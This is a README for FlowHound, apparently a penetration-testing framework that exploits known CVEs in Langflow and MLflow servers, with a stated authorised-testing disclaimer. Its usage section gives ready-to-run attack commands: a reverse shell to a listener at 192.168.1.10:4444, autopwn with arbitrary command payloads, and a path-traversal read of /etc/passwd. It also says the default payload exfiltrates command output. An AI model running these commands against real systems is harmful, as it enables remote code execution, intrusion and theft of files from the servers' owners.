FlowHound

Automated AI/ML infrastructure exploitation framework for scanning and testing insecure Langflow and MLflow deployments.

Documentation

Full documentation is available at flowhound.readthedocs.io.

Installation

pip install flowhound

Usage

FlowHound exposes three sub-commands: attack, scan, and sniff.

attack — launch exploits against a target

flowhound attack --url <target-url> [OPTIONS]

--command and --reverse_shell are mutually exclusive. --username and --password must always be supplied together.

scan — launch auxiliary modules against a target

flowhound scan --url <target-url> --cve <cve-id> [OPTIONS]

sniff — detect version and list applicable modules

flowhound sniff --url <target-url> [OPTIONS]

Examples

Unauthenticated attack (stops at first successful exploit):

flowhound attack --url http://target.example.com:7860

Authenticated attack (includes auth-required CVEs):

flowhound attack --url http://target.example.com:7860 --username admin --password secret

Run all matching exploits with a custom command payload:

flowhound attack --url http://target.example.com:7860 --autopwn --command "whoami"

Catch a reverse shell:

flowhound attack --url http://target.example.com:7860 --reverse_shell 192.168.1.10:4444

Route all traffic through a proxy:

flowhound attack --url http://target.example.com:7860 --proxy http://127.0.0.1:8080

Skip auto-detection and target Langflow directly:

flowhound attack --url http://target.example.com:7860 --application langflow

Target a specific exploit CVE only:

flowhound attack --url http://target.example.com:7860 --cve CVE-2026-9198

Run an auxiliary module (e.g. MLflow path traversal):

flowhound scan --url http://target.example.com:5000 --cve CVE-2023-1177 --f_path /etc/passwd

Detect the target version and list applicable modules without launching any exploits or auxiliary scans:

flowhound sniff --url http://target.example.com:7860

Architecture

How it works

1. Version detection — probes the target to identify the running application and version. When --application is provided, only that application's detector is called; otherwise all registered detectors are tried in sequence.
2. CVE lookup — queries the bundled vulnerabilities.json database for CVE records matching the detected application, version range, and authentication state.
3. Exploit dispatch — dynamically loads each matching exploit module and executes it. Unauthenticated exploits are prioritised. Each exploit runs with a 20-second timeout; timed-out exploits are skipped automatically.
4. Payload injection — when --command or --reverse_shell is specified, the corresponding payload is injected into each exploit rather than the built-in default.

CVE coverage

Langflow (Exploits)

MLflow (Auxiliary)

Payloads

When no payload flag is given each exploit falls back to its built-in default (runs id and exfiltrates the result).

Project structure

flowhound/
├── __main__.py                  # CLI entry point; registers attack, scan, and sniff commands
├── cli/
│   ├── command.py               # attack, scan, and sniff Click command definitions
│   ├── validators.py            # URL, proxy, CVE, file path, and application input validators
│   ├── banner.py                # ASCII-art banner
│   └── message_format.py        # Coloured logging handler (ClickLogHandler)
└── vulnerabilities/
    ├── auxiliary/
    │   ├── base_auxiliary_class.py  # Abstract base for auxiliary modules
    │   └── mlflow/                  # MLflow auxiliary modules (CVE-2023-1177, CVE-2024-27132)
    ├── clients/
    │   ├── base.py              # Abstract TargetClient adapter
    │   ├── langflow.py          # LangflowClient — auto-login & bearer-token auth
    │   └── mlflow.py            # MLflowClient — HTTP Basic auth
    ├── cve/cve.py               # CVE data model; dynamically loads exploit & auxiliary modules
    ├── io/
    │   ├── database.py          # Reads vulnerabilities.json; filters by app, version, auth & type
    │   ├── version_detection.py # Per-application version probes; detect_target() dispatcher
    │   └── vulnerabilities.json # Bundled CVE data store
    ├── exploits/
    │   ├── base_exploit_class.py  # Abstract base; _client_class, auto_login, authenticate
    │   └── langflow/              # Langflow exploit PoC modules
    ├── payloads/
    │   ├── base_payload_class.py  # Abstract base; generate_payload / load_payload interface
    │   ├── execute_bash_command.py
    │   └── reverse_tcp_shell.py
    ├── base.py                    # BaseModule providing client management and auth helpers
    └── utils.py                   # Version string/tuple conversion utilities

Requirements

• Python 3.10+
• requests >= 2.32.3
• click >= 8.1.8

Running tests

pip install pytest
pytest flowhound/tests/

Disclaimer

FlowHound is intended for authorised security testing only. Do not run it against systems you do not own or have explicit written permission to test.